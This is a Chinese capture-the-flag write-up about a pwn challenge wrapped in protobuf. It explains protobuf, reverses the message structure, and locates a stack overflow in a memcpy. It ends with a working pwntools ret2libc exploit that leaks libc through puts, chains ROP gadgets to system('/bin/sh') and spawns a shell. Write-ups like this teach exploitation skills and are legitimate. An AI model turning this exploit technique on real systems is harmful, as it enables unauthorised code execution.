套了一层protobuf壳,然后就是简单的ret2libc
参考速递:深入二进制安全:全面解析Protobuf-CSDN博客
前言
第一次遇到protobuf,如果没有了解过,是显然做不出来的。此次复现,也算是点亮了一个技能点
一、什么是protobuf
Protocol Buffers,是Google公司开发的一种数据描述语言,类似于XML能够将结构化数据序列化,可用于数据存储、通信协议等方面。
常用于跨平台和异构系统中进行RPC调用,序列化和反序列化效率高且体积比XML和JSON小得多,非常适合网络传输。
为了能够和程序进行交互,我们需要先逆向分析得到Protobuf结构体,然后构造序列化后的Protobuf与程序进行交互。
具体不如参考PWN佬 Real返璞归真 师傅的文章,讲的非常详细,针对PWN题从0到深入,非常友好!!
深入二进制安全:全面解析Protobuf-CSDN博客
二、解题
栈保护没开,可能是打栈
main函数进来,直接给了puts的真实地址,相当于libc基地址给力了。其他的部分看起来很牛逼的样子——没见过protobuf,肯定是这样的感觉
这个sub_324A看起来才是主要功能集中的函数,放眼望去也是一大堆复杂的标识字段
———————————————————————————————————————————
先解一下结构体
在了解protobuf之后,让我们重新标一下函数名
例如上图,两个函数就是返回了 距离a1有5个8字节的数据,这个其实就是对应了protobuf的一个参数构成。把这个函数标为arg5,方便对照。
然后依照博客:
回到本题,这下我们可以将变量做一个对应了。
可以看到在第28行memcpy,复制的字符串长度内容均可控,存在栈溢出,有libc文件,于是打ret2libc即可。
只是需要知道protobuf下的交互该怎么写即可,佬在他的博客里写的很清楚了。
三、EXP
from pwn import *
import message_pb2
io=process('./pwn')
libc=ELF('./libc.so.6') # 这里的libc用的是我电脑的libc版本,如果切换,gadget需要自行查阅修改
io.recvuntil('Gift: ')
# gdb.attach(io);input()
### leak libc
puts_addr=int(io.recv(14)[-12:].decode(),16)
success('puts_addr: '+hex(puts_addr))
libc_base=puts_addr-libc.sym['puts']
success('libc_base: '+hex(libc_base))
### Gadgets
# 0x000000000002a3e5 : pop rdi ; ret
# 0x000000000002be51 : pop rsi ; ret
# 0x000000000011f2e7 : pop rdx ; pop r12 ; ret
# 0x00000000001d8678 : /bin/sh
pop_rdi=libc_base+0x000000000002a3e5
pop_rsi=libc_base+0x000000000002be51
pop_rdx=libc_base+0x000000000011f2e7
str_bin_sh=libc_base+0x00000000001d8678
system=libc_base+libc.sym['system']
### ret2libc
# system('/bin/sh',0,0)
payload=b'a'*(0x210+8)+p64(pop_rdi)+p64(str_bin_sh)+p64(pop_rsi)+p64(0)+p64(pop_rdx)+p64(0)*2+p64(system)
message=message_pb2.protoMessage()
message.name='namess'
message.phoneNumber=b'123'
message.buffer=payload
message.size=len(payload)
payload=message.SerializeToString()
io.send(payload)
io.interactive()
总结
学了个protobuf套壳题,很开心